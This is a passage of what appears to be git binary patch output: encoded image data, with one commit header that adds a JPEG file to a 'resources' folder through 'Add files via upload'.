z8XBh7#Ze_gON>l)-5rku(NaCfpAwDEx@FGS?NpM;bSCNQcwG~0=U<+kgDwjG3R)`3 zu*he{uM3-bM2v6{9-saecB}?eO4!^U(DE8bF@7meie1+CcKy}tAC%?4OQ?@F(CDgU zb+u8ZgQJj;{8!4^Wtls>ZThRsGLnL7NZ(b9ni(XJvPLzIIa$b?ak{I;WTSmcMjHm= z7Dm<`NzC9icD+O^zWrI4L1LC?hE&RH4mC z6c;AP;lJ5VIO}B3@c#hpr#O?*Y#fqw#_S1PfI{{*D3S@Vy3r}1E}P>sx>-h(i|y4& zX}qrTOiVp*G`wQ*JF&EfQApX6Z5a~B(MO~a?!ofXc8Rz0k1%N`s9 zhKhzs43lDh@RF7}YzqcU)!m8g{4s3xB;oCJu4}X3my(~_buBX}Wr@{M=*JM-UBctX zlHt2M+vd@1{v65*I%+c$0n2t9g-x`5sO<*SO6f5Q*LJ07_D-TfM~u_P+nH%x zeSi{5x#`9WFy<}l7pYXl_R#^n7M}+-Mvz4MxaNRZU%U!l4%nrx$t!Nc;-driYl(p}nscg({XSCkOf}{kR=}Ynpw%TH8DDXqRFNw;t0!R%s7BW zx-6{BYh|-Vg1WBTI?P3_A}AmMnMh-OV6)Gi&wgiUuNd~cfvVDvy5)F z$3((J`b2HT5&1^r$f?T|ax{lD5zGRm)Jwjd&lerm@$yNJS0&Y7(hdHDKE#Oqbvke1 zwKY->H;&aBtJVJiY^ia63BF1lU#X|lDr^JfS>&6m{{Y_+{nq*}ViDCH=x{{-31lYR zbh26cr((&#B-kXs)hS*D6UTI^AAqYzj-g4W{5w^nMZ&A5Ke`&N8O0Vq;>drzs+*fY zJQTVyXN6si>saq%vZNjLSB(Dtb&~s6_$^gYH2%;%ighf{Z4(;8Ky|}_IvrMulBOD* zQj&ual33`oYrAe|0tS}$thFPvQ?a})nOMO)os81T!dgtDhp{sY&$>Vcmp-9(a>(Y; zRI(>wbC@$9;UnqAb`7I2#e{~z9FBV$J#8=0u0dIS{F#BiV|%WtwH0%GT<1w8#fG-x zxm{=?Qs)3O>!G^qHhW89v0f$YpYFqpx7|mkjj~tMvPWcNrD!hbE;UwiM;!*z%M23w zLnDxe$le57im1J&Wwo<{m4zE)5%exPA01qoCR8;uFT)%p;C<5Dk@aBQO@z)+twPnqmE?no-`*J(eb+pdarH z{FWt<)`H^b>^xAKo~~GTZj2k7>7w4phiv5S`8`MaMJby*g1mPD(0(yT_Dp2muO3QF z_EvYBwpNk;A^!l1<`Ll)b50?3Gu#fBXhl`Cm5@g(_fGjYYQiMTl)|am~AqEWnF6xM)HU*=^qAen1}d)laiqGL8$>OJa1>!!2xAB$kp^k{=VU zKQ%Vko-{F=c`nl)FN8%$2r)JCI14i`6VW{1M|o-Zr~_;3WU<+!{-D2M`Xt%xj1p%Z zNIi`wUd6;;MJUy=y5Gr26p}ka#}D>O?|?9XJ}+&(iDC#|25J_5g(0!Y(c{4V6F>SM zCmV_X0MdS|gHz#?%PS*eJI*#7mE@Zlh?WP_Kwi_(jw`UXikCJ04UHq3emJ6Nc2@50 zH5btly9k$p=ZkXvRfRXPG>lpq#}Uy##C;NzdmBe9z=C^RZx_>B zTFZh6pUyHph@DRBUm^D|L7EC9#*RO5Me%I~wWE*Rwfha{EMvg^5YMn={{U`0KUL?y zMtg>gH}XzFMLe>$HpXu61?T~XP=jGc&vG$CMALCbz<-jUb_|E{j|22r-(Y|sx^dvV z&@rmEoY|O9QovKK+B)VQF@HoAP5SXg&3SpJh543+^PjuKb!b!S@miYawel$9N;)>!D_ZDBZyU3HhE{PXFG|xH%;E@ZPeS6 zkTwd*tZPPzz-?faeG)*qN*zkY1PJ{BCTf6N8)9i`XgQ7el&5GEISrgb)TYsuAkga) zmTINo9zf^{TPvy>Mp>RbijLj|0jWt~Y1AVa*mo%|t*LRlr;z!%Ets8LP7aQDwZny+ zqM}p6!MH8D80~B$!B|g@;uRnXs^xfYpcfR-#cF`Coxpe-C}43y$~arY$qYdd77ZQ> zL9eMM=693Sxj5WLtCaE%o#hh6DY_|PY1N@fMHxA?DT5KKKlqt`vMFljm|9sKCyR~L zbY&T>XwWGbqZx*T_VDG@p>#l8j))VjlTAZt2ptkh(GDdOl+KBkjmalOs7spc*@(A_ zO|u&#akZQ8La@}R$!pn3b#+wF0pl_p&AX<1xeZSR+#z@PsO;7}O0HY&X3;X#jB&Z8 zr@pW7aR$p3**?wDSK<|T_Ru}7!Eh*jE_S>4XM!?C{?W3}?N-ua8*#K#*VQ@l$usg( zL&tW@*{o>f07YY3!HU_GypY9V)d~Q{E9x`0TA5r3If;4HD$0q=`;9%oZZFkn_NNMq zW}>CTT_YsK3k0=UP4{j*7<@pty=DUjgd5+AjIs1*qZYpZ0HTahM$FnQi-)xV7Hv=+ z=Xoa(18$#dZWBd@_PQA?oH~@3EG+>@v;dK7a89u4rir3b*~M-zi9ig~p(ts=Bqa_h zz>0KBXh7-gH%GuEy7oj#>za2J#NA(0yb(uE16tgXHqFpl>JXLVR+Nc#av5YL z3Sua&@P#MRWO=Z8AsLf1tmhN$QCj@Ejwr*m@kDFd-3DrHWNpkeCuEZLYYDm_NFwIx zwvZfpr8iext>eVxOWdhI_fbYQB>;3Nn(LbdW0pvy=AYn^sd82Nq~_N|$+q>kTG^+W zzy&5gH@^U*M0C1-_K(du8>|#cSUH?jfP2mG3M^vB#XiDZbQ+Uk;+~26CGrirur==( zYbi3u8Jxc`XL$G%(KQJdZTNFcx;Ht+qfCvtx>PRL^{bfYyMu3&QW3GCq&HG-d)9)B z5QO?stAI^2*c%J)ZP^^`gC@;XIy5TSLzvb%z<}~>Pdg{6FlrZ>a%=6QBV@&!)U=n=eQY(IYaXlA`KCmP;L^e3M;H z)>ib@GFC;0;quhQ4I5^;&Q4a6ePiUR@n~5NB~c7D469=vK$<^Q{vk$ltUpmrw}C3Q zNeRg$`2f@H757Iw^uZjut|YePWrfFo+mUiCj*(_@gY-G64x{r?>nFa;FA9U z9w{F>>b?0LROzYkO!*71a!+QNAZ|Tf4^)c~P2F;go+$v_6uXXUz&7$?Ow^4UpJt2* z#T`XnZ$*Xj?%SRDMeI7FVeXEpMvF?~g@_qQ2Q{YIs>V`KV&6IPQf@S5{th;>#PI-GM9p$sMyj-GS3gSm9N*px8+qKOU95uM)Zk3!JHnkpi+^f* zEZR|x5GWoNM43hiAc6}Nk%EmS9n_X34k^RJ$)Ut2Myf#t`6C)5oKL_j0Di>bh0d)AKnx>w4B9A*Ev3rLgQJD4! zNjvZ2LSA=Y_?nx)UGgj7aGjm>3J`a@9G z5T^}Mfvy;Fda8`B3D$=Y7KTckJb{-FX#W6gsD@fwcWFRB$|!Exk^z&4nwhN<4B~L` z`l^!CaF@N7o$Yi|Ixs~MaLxXQH19}B>72xg)uG0ZJF z_9;$*#umMoA=(uVSf10UD$br$=)t`8u~x9x;p~96qJYaKg`J+s$@X`=N+fHoaEVQ{ z3^e#8W1K{fRO0x}7n!ZAPj#k^Sl=U#oA=D#8!Iv&lfK)t))Zp9YY# z$u&}MT<`F;b5Lf{-i)SX@sc9w9o zB%nB}PxyX_=si}8@da2>9Jsv|z;F|d4?YSF7y+y&#ZRUK<9aSvn~%9lF=|?I{p0Ev zM=-TK-{2oL)i$yF%1Pvv>@6Sw#*IduIxbmI99$SX+UP)CH)`I&O82rr$wpR@miHcO zozY@7I7NG(OCV$1a+hQd()_NwIx}c;UOnvCaHe(vbGRJ5>}}hcsou0oE^TKHDKDro zRf%JD%Uy8bnW%Am&wGu@aU}Ijxc-&PRn)##Ij4&BXfF%e@sZ2c>fqv!st0^{T>I2< zQr8Vn1qqJuP3N&A#R@v-)5g}fOx5)BnPf6QHyugjt|FXf4q>qx-=dQ>ORDB{wGT2# z^LIF%N~DfL0chr*Y=^3_X3%q*E*9W1hvF^IOY&Al#xMh9cyB=D+d~27M~P9}CB=#b z&SxD$BdUe3gm@>NgxK8pm25D_iVsbV&JYJ>aclik;u2td&a+{e{p~NDgp4B?^f$ga zo1T_oX&6q2$IT}Zq>~MhOBLNsFM22PBcjo$VQ6q*%UqMitms707aM#-5xD1m2gv2Y zPOddrWX1})vZa zvzqTT$q^XF=;%yV} zZ4VZo1*cTI5ibKVmRhDqMjqIz9z!kFb4eE)hF|Ut!AWfMi;qs9!{rJ$)K*hH!_(w; zg7%Q}P%$c^%9pdzg)>L+VBX%E9%~HkbAV_b7SDRAr0L#W z4@mrbfpOitT+a*kYNkMO3F&32imIXU#(Vi>Hy$d>1f0s_B~??M041bND~Ed5nw4q%0}!tgpQT1jhRc4}fXm_hs-#}ItbVy$$?0~!wyMt!OH_I#UO zBTod+4gs2HyLNx{zya=SESbxl*x zTT@Rg@m5M%AFMZqWTmOCxfPC;dj}=!#iOq-9=WlhxN3`&8=t8NI zq{eds$9<9EmRfhW-Y0X|>)F7OmhBF$(1V^`g--bLq!D__hPL&}nO{|3N4azBCUazN zX1TH(5TarjXse}mC51FPKjEQnrZe{_*lsBsm?-fQT}tC-JDg{zKz(!Lb^-=^8zzIM zjm9~paK)Qlh~f3n>B#E2&GkyUK|K*KBM!3iz!R58blv(PeQu^4q?ef}6xcoqVN4sW zF0yf>MYQba{?WuoS{MC`7}I62?C{$Xul{EL0I^z8AKtUKFtgQ~8UFy% z6$1KQPp#8`emlinH9$WZPSgA;P45*THzRM=HyE)_@jeP?awDB{WOmU3tE`Uv(9x~G zHKhyWks-PAP~`QBluC;ytfM#Z(?D6F0qURtLA(ksX>Gwu>36asMqKY$@K7zx1EO0HaVhDlWQG$< z1g>O9*8$cJK1)loI6Z9*1y0xIj-HPUds`8deimn32DEb{QhHfY?B)YkwK(M#6^8)o zn#n@}JQ_K;_yMZc_NBCRtYr?zZ0*~F;Fn~Nzwe5JZ1NvyutySD^rv=;KxcK&>#HZk z>t?E{d3@76x$Zp4)i)r>z|rj~$XX(dyzx2>6CtjY+Wa+25J0)qt(>zu1b|3HWN|!F z-4SmRlaQ1Hi0Gu(7Yl@0oz)R>JW5tXGILS0)PZtJc0E%km`_HJ7DqK9l5>)Ag8G!$ z)jBjDY2n3cS6EpX7dJ_F0+(w9lcm(c15L_Ql_)WYajOLAg!E#ZA0afx#02z0e#G z2HGo3vPacAQZ3#}2K-TTMmep!FrH?O(LCo{D}AY^aRZW3H#bZ)^-$bw)jF!L(&gR= zqkskm<&0=-Ep&*SSmu`ZNH^1xj>D&dai>yx1l(`V=mIvfJPpxG6-_bB9>Qml!{sw@ z9KtBwU|pxVLu;-|ki*>rl5#0J*F)&qz-_%<)Z!+%#$6jAWHAOcj3kdRIbAbI?k-S6 z^2FnPN|Q|MMmm*b+4{&(MA-VR76DnuIcXpfu9}4NrS69GRqS}asmeb4V`WE|N+>%7cY0zWxag zb<#_c3xL%u=`OPk(MWV1?s|kl+F3SkU30-I{Sw9alv={jZdAdC?{L}c1o4g07mS|v zrrId=F)|5qMKfn^P;koR?M;zj;)3!)xIz)MNL&VIRj1kdgHMLy z#f62>hbC7ZT5ws%TbC7}*{V@fLyI{700&H5KSIwt);>zca!ouZk@Z*gJtw)-muY8P z`M#-_dgH|?@(AQ{d)hd)qQk)frOHDr?5SWbBQThDviT=2n%8-B;tX5+Q&DJ9-5u_d zj3eC~BS8cdl#oFL7A!^+z$TmPCvK*fl%pq-BcQSzP5K};B$cp*ph8&-Y z;`CTnEh8~_1x+1O3{PPfu{;XOI9g9)8H{5yO`IKYRAZ)!uAXQl(6!oXG|YA?D(D+k zNMUjKvitA~b|C|B+)|~1u8tD&V$3ae-8JcqA2~OPR!v{Kl4lo?EvVq2Tl6JlCW*op zI5+?-c;t^n_XwIEGtjF)OJVuIA~jK;oE2M$%#Eh{5QJ-<<7))_pKZ!yvbD|b>X^;} zxlP`~q8vtvIc9U6a;wSfU0Fq08zZrBN;R?lB~V3*AX81+G68D@BT4$Vyy$NnF&d`&&j27P0g!79BzX% ztsA=*ouaU=Ak{dHdyM-NA@&3(u^{N`+#~=U+cof$#SpDYR&%uD_1uTnRE3(reseNnR<)0O*i8SAnKfH z(DY2-RI+T#g@M|G&(NkOb{NVOy3|;!574WrjpqlNvAz7!8tXn!@e}|7V7CCKQD1ps z(O2S{*GcUA6#7CNAn{e$k-co5#2uh-6H*lIBDnT^!jnwPM8|SB3SA-1i_zPFn0}=e zmFIO6O{@tjWf1=WrRfR$aQi}ejlDbrne_{$s<*pMZ^%6g-tC*nr>JN;64Ck>JI-4$ zJV*{ue{Zb~O1y)#g6Rw)B8;cgaC<%;SDHO-M5FN_jbtnkRRfxH(P1 zUA7yvAi{6#QRH#CPd4D{QxDeax}o2@36~pypMlpF=$>n>#Yd*#Q^x7)d%6%&*?b_W zEOpL_`-hEqs4R7qmODiBZ?;7}6qtpI4sDf%J}DugejhjzKwX)H@nP^$G<$qgSzWGB zZU(mGvOwt0CMooiQr@*S5<;lyC}%}WqTYf91ns-<~iQyz%n-X0P-r%nUQTRF%O>Dlx*&Y3kQMv?5QG@ z(@N&b%kpyyWXplJz1Va-KKF$g+W1(@I`KN>a^epI#C8;!BzxcT&T)4lN+_m$GB!w# zSFqd>$fK2^;_c9KOcFq`QEZy3;~{IY1Ky|B*S8Xpl`jRggxW$lJH>3fJjZF1g#_$io1H!TfJ;n$LuM-wDxo~kC&;V?rJ zYp}UDw30gJ+*nT{y2%L?VeJ`P=7F>WTz%$;AOR9G`iq{mx3>H~gas}>a!Vg!1vcqv|oFb!pO7PQe z^G>aB=t63`cq%Fk^sU_oo4PNed^{8^;o{EI#Ub2*)1g(;$l@#xN#<3&#n8Cjx{h6+ zHJd>zDZQ<#Asf#tt{HN7NGVBT7oH6%#?wp5jy}bL>qWqCO|&Hh_@b!g6TQefj-igT zp?gW{5k=6kwC_!VwL1}66%Ac<)eg$jO7@R3v#+43hbfXL0`FJFIZGUkmF+EXb+vB< z{WP5%%qMY6)U}hs=IylRLHcd{}84pH? z*9NxNOa;T|Oc!!W zVoeHsCS?{YQ-2Jmv`OTWlp5y&VZ|Ql{F+Kgl^j4MAe|KQxY?{XMrmi~6UUfP#4fds zyi-9KPKsI22wr`NdOX0`#Qy+mbz2V$F}I3t*Z%;LJfv|2EJH9l#_)WSw^Q?L{mMYC zV;n+24&)HA9YS=2D_Hr2fpC@rD?6b>RNHQ*5rJ}!*F)9w zN@Fvd4kZ~8#=$!Ycw?J#74iPOB|Cw z)g%o9>6LhO9>aET1E-12+Kh48nSLDTJ_2{6AtOWwmrCOID9HA>V7g1)cO+J66OSN?B;2SHN+v6zWb1SZwvLI$4RlkCX0#2;d4p8*1>N8h0JD5ktQkhU zN_Oda9emLda+`NF>Ch&+lB5>m)mO`-h)FsGoqu6Wy{iO@fM4UF+%vl!lvH`dLJcJ{@mrW+#vkoHr@; zv%@fmK>(+-KzM734n1{Cjn)kTKykapxhX7nRLGQ<5>#P~Fjy&J$#0V@KnbdML-L#O z@^bewkSu&s9Q(Uo34tw}+L&%+i)f$EV53a_@=$)ZQKWWhJ*yur!js2WG@?kdNj}6+ zJ?jL5>vKUbOWQQ3KElZb*XQ~Y9ByuaC}sT72(Zan{8IPR(Y_g>mP(gpY)yZ8z9*uA zJZ^$##`|Vru}y=_XhI_5PNeFf=Ynz;NisQujyGI(TYu3gi?EXBw2lJk7QK?nY0V8` z<#K^7?a5)jES8sM>zPG{Vx#y;p~&ANMb!kFttQICD)78rvNfc`O6NA?QK(tB9`*QX zqOzEiO#$6+n!Bm#eaf7>OFG}ppPEfoG_eqP3We@=b^WCfx?d zx&fl#SX_G)A)vZUfop=ODP19Lo--a7^Y+ zDJ`WS5nURR-O;y-bejazPN~i(!Aj^4)ec^1R?sAkT$FftS!^M@M1p=-*o>y5(dWrH zc&ISkAyYRC07>SIddL*3S#8=TWHxGxCCkYil*i(tqM5POQ^f3=0?}fl8*d~YDk-~M zLF%j9God8za3jT3$pc=-xxrsy(M3}P@jbo3&_`RU+L$AV_bwF7CDwG7KQTtE;&0V% zL5e1mxg$;-DhR$=D%k~|QHs`d)3dsjh||Xa8?Z;U zLSY%3;-}(<_VZQo5uKyO97#o`C zX&&&?b9F7VFz_i`&@{S)Baj^$Y@Nza5K&uEF&_%FYspV<2PB6{navjF5(xGr{Py{T z8D)8HYIj#y?1DP?T>k(D&#_kunD50*+A;gM{{W+B*r<-4NV3$vH&`QW2bR>y+El6J z4{LJp&vkDTfQ_C@IeQV(>U?;PR)Lp-D=UNLGCwSU@KlkoFxc}}t|^IR4Fc*X#uxd& zr6Nj=;2IF8C1VKcl*T5E!BPb5zZADl(lk}slA7<*mlcn`Yfpbj2r6|etx^vntnX(J z6-yJtULDhtvTVV?8}U{VP99uN^L4lZuxhh`)^e|}xvO#Nq(dg7L{+g8M1)&Z{YVni zi)sq6Z55r;0h(1djc=J&7=Dkz0+lb=fzYRsjALZ?@Hif#LSMgIpE~-mpB^RTG0@V)Kt>8+t)*KP6ixgrqsz zCtlw1Ou4Ipmg4KREh5NV5pb9{C&KB$qDzXcl;RdBj?7&y18b-6bE0AiVQD+p5$sNx z>4(pEos$sOM;ikPQTK+hScBk|!7Yxmj_R0m46ZioWaDS0w|(xvgHs;;2Dei8mba_{ z@KYM=>J!&CC4`HM6&5M!Etgm4%1yaD(5yzacx>rfO}Y5A6bXU{D@8$78`rgbbl0wKYZJd zTqLlZ?aB!x+QC9OKp+%_@D3q6PD^T73f$}lmAI(4@E@qGY;@9kLmK$p*WTKTE#|?~ zK02&W$ifch!u<3o)N$e34e$A`x7kRX{i_VE7jAj((5#eh`B`+ZyS~)ZYow!y4_+x8 zL)dr}>&9891C7rgHCgOIrxD9~l1t+X|Tl0~BsKgu9@L z`n72z+l*cy115+8!{mZ*_C-^OPUm8EWsGsTEsFa2Ed9~lO^jm=z(W*t?aizJ@vv6a zxU7=Tnkmeoq-AzYzoBThLU?QOSwR z69nAomggH2%^(1X5hE4|z(|@x;MQ1J6yj!2Swdn&X2^tJGM#j}nk>)=7SSY1@I{*`3rcw6^`_aUak1tU6c&teINY=?IvCDnpYJ1-R@CY91Px%Lew{FqmEjQjU`LHCMe-I}7*5CO7 zRR@rUWKjeklr8(EJ^lgUuc>yk5~m>EDJ}Gv6k7ahs}OUYF=IoxhJ{!hjFeWz3v&Q1 zwvL^y#uzS_nZ$8KFU=7BDOb6&XeOG_5DhLWTy5R5{K{?!^tn#F+#+Z$gCp*2nl8|S zE=nOWi?|(YjZYK_wcLG)fYRp#GU75&4QUyx-JGIjU0Ji>;e#?-n>K@2m&@#UN0KO`YctfLfkwhY6bmOT}w=Or+fVoyL!m1q` zb4tvvJPWufOvB@c3ZC*t>XLY7<>BIs`#wfwY(LBop(sLjunRi*to^_o5_s@ZUrP3K z8l}M#A(gJEAhc^>mN6UKPrlUmNYE}bQL>hh4;x)Q69_^$-BURY=X2x|+H$ynbQ&o} z+$}He3Rm5|EDX-mfJ-`&;E97PE_jroU@lQY87U4tl3k!Y(tx{(=#t}gFpU__$^`E& zdAdM^s(QD?ZtFRxh$D)M0JYB)ka&_*+8WXg zl)4rX)*7duRQE{YEG~2i!`|;%$%X)RCsbhB-U}Mm1A8oNEE|&DG?xIB1>SqbGzMo} zl)Lx56q*I@h{iRh;3K`9l+AeaO`8&&Xw@B=lt82o8l-|VXi|p+mJVvbi`f+FoI?D% zpocU=qSKQ2SSJgITPCk`98|`NE*A;n%zywxuh9n-+jygKLNsLF^UpXW zGzPE^Ilkn}N$}M&*&G^MnB=|eoMA<4tN=i391EOH?w&T@Gz9ZcQldnA#HYc%f+Jju z6L5tkjsP2*BFvg6OCgyX9*FG;?A8f@btub|Ep^_p&ry(FIOD|KGD+%<=H#Zy(L)hf z(PXQj57>}})Nw3!nJX4yv%a1g#z7p;%GjN1(Mb5;Y|S<{H%YySCi-+mrO9pVdht-cc0}t5 z2MZ(RsnInfuF@`-*2$NHl-&YjWK(=WYW6}|W5e;I6GMTeA=f-OEbN@RttQ6@oHrW{ z8hR-w^eo%;KVq|%{^c&q_Vb3jvQOl zP9G`clv8Aq`;@cdmyFu!sPYIPh!BjBj2sbej_A@s1s?^lLfz4!bU=g68Q`UeEnFkL zl7qBJ(4e=8VX|-(3Db^=vUJrED+}zRNKWP&Y7ou<;-iMS#@9f^H%<7l@Be^%ElmLB`eY&>_*v~c-b@_Iw70`djy!7+uWTF zAv_*+xkS_Qjki#dn)WtE(l?C$P*HQq)e)yPbF>dWnr=A8&#_Xu<%aeJTyGsoF4r7&1!^b+{*EmBUZem=c?W=#w?BLfc)t!jgEs4DOC{6CVz}-nC?wi3q z8}c_tjF3hZX-M%aZF@K^UKNAQi_l7Aj6I+bdV;X@H5;jzTx$)HglU&%r4VI%Yj~x?7R)y5`OS?Ta&q8AWtqUoQh|_;>j9X=9dc;sxy-i zhT`^+TwQd1soAJyd9H*T5#DQjd8}?HgGq$eQqJtof#f(i^6VoQj9E zI|8PL8Jq>$2E4Od9jTf+%se_c3_t)bbzJPU6JxE8wpzOEQTU!6Eau`iyLQpkbt^d( zVbU}_7K`x#bdksVk;!<+vXoN9$Ha0V+T0IscvVxdT-%XMWXv6XEEeu9pTVVIGgVbJ z=ZkkmQR7%eJp;q34AMa1ZR6Q(dM;X~me+FiI<13M3_UH|ZcYUHEWv3=H|C}og|s>* zT^BK^RB}M#GE@d4)d}q>vU;l#7&p6akYQ%M#F3$q*@B>A-*p3mFi#7qq6q$q8>qqc zR7TH~9YTf+Z&6rFU8=+zWv1H3VYd4+PgbzjGFkLixwN+z!Rf^1mrXz-;%^_ZqHAIRl0cT%v7&-hmgM| zLSb_o9PA)n!$5TlMU3K;Vsz||rboG>P%omOmm`as*Oukr2;!)=luW0StD(&!wq>Pt zPfJ7yiTUOifHNCeL#d^Z;ZamZ(&)p>TtM|tir3;_6r2JXD5)i8Aoss}F(S@w_Ddk>0&;7IXF7aY+)P6aky zd+ND?ByHCID$s{&3UsuQcBGvXCPLn5i?a|x^Fe)FZR(5nm8>UIWlCc$U~$&z3D+A$ z6C|%acA~*ki%{s>Q)g_VhAvT`8JyX=VOu}?Y zRyD?*;BOyA8yN1-C>mUaQaj#CMRiH5sB`ULm>O_faSnMQGXo1F0Hw!#!AN<~G;>Tx z>jFw~&bcK_1t$x*B5~x274_9AqWpLx0*s6fWiu}oAb_LFJIGUi4PZA!I3$Fj%@7H0 z3uw=QMadnKfab6)x=0p6#VjQvhFxhll%N_@wnt=95aPC)4J8<9OCzFC00le&O6Y*F z)h;;8-J(aVbW-79YkX0f5Zr7NmJRNX9MT=HkVakhq{?h8rs9^=p$$2!acGf|f%Bep z373HrpOwMZBmy`e6!UU=D}$}P%q?-PlsCM%*l`G9Gyye`TI8t|6!i1d0aW71`Kk17c1bx5VWhZR1mDII6x*vF?g44r zOS9H>_oTO-)M)AOXG!Y3j#n#v6UX1`k!@5$OTyO2UI>kE#TNnkE@`2;bNn6|tU zy;ka)BSM^c%TQZ7-rq!V?p>!~#4jTqvQbYPX2SV}VB5d(CSsX!>-G$xWxX~1;=BWb>49uvpfnyj1v`X^k;YsW%QX?@2Aw$Skm5>IV#4Ym-N~0+Suc@H$Zo@A z>C`4)>No%giWJ!em$4RFosz6|HXV!Zy8wM^(@oR zA0=riCXNg6KC1GlI8aku+*$VJ*GSx#NYDrXi<8hKxcDVUQ6zFaw_ME2uSAXIN=e!g3opDob^czZL|SQMo85`u6b?E$9jw&+iD%}PPOq7sD1p? znE}0;Yz4|rfZa&KPvTPy$M}zmXc3>fG)}Y`u za*e7139*O*uS3=S(;=!QiqP?zWjus&`D?@Sy;=;*jNI4x;XNwgshNsb8pLW>|tOJyH zjV_&|i+=oo*pZ@6AbLv!nql}$NOpnju*H|2+8y;!-Y2=I&_Sjy@ zjHH_mB^py9aK)%t0}CwO7LyFx_^5<}d@h=D=$yuqEoTv+Z(SW&!ALp z^X|!NZO}-=XE1_;igBg<578jVY2$fxXI^J_dQ)oQ>34;EqW+(j;n=N-lH@a&K zckoX#$gl24be(U&p<;TV+@_jtooTpAYrE~gBXro)l33z8ql1t}X;yf&;-;j?-Wggw z!B&+ntdIcVpiv5Te~hC_^7&rlsVTRPiL#wODGnrXNjk|_4e22|!V_7@=$0MTXjmu^ zpJ=&CAcJG7XdCJZl@K#T@Bqxt_0fg5EozX`2^YP&l{D_nHNo%SO*n-L+`@UWGw;XyZt*NAI zwql`;%iI8iYx7pox*S@D8mO8iYuFssSG5s7JQ_g=8C~l%uSAyMINIY5N0#pe^nGw_ zv=X}~G_cy-2=iEqe35L!Tv=?-Al&g)xP5F;)JEypT^n6@bJ0m=bA%SY(lxRifZF51 zN5ZJ#t*a18ZqvmolglHSR9%*pXtZ#@M2hW>iT{AqLrl$mmtB1&4~7iD@RNjwc4@X*z;>EvC+4 z21qL)tj-w0owho2)GT();inO=VPOI6IgV}wE~kg$bcYR@(q*S~VbQoAcIc(D;%R$a z<7;2P?p{8^q7C1fbeaqdL>*4 z?waz_GhWB4v3^Ioq4Da{51$oXRPrfcImsILdMoOwoG6<8ErK(tJ?-CC2&R zGjglnYuf3OY;2x?e*IK;gU6cUobmxyE^U!I Date: Sun, 10 Jan 2021 22:30:21 +0530 Subject: [PATCH 458/838] Add files via upload --- resources/IMG_20200929_103719_628.jpg | Bin 0 -> 12339 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 resources/IMG_20200929_103719_628.jpg diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg new file mode 100644 index 0000000000000000000000000000000000000000..207ae1516c153342d3630fa97f497afcd0071494 GIT binary patch literal 12339 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 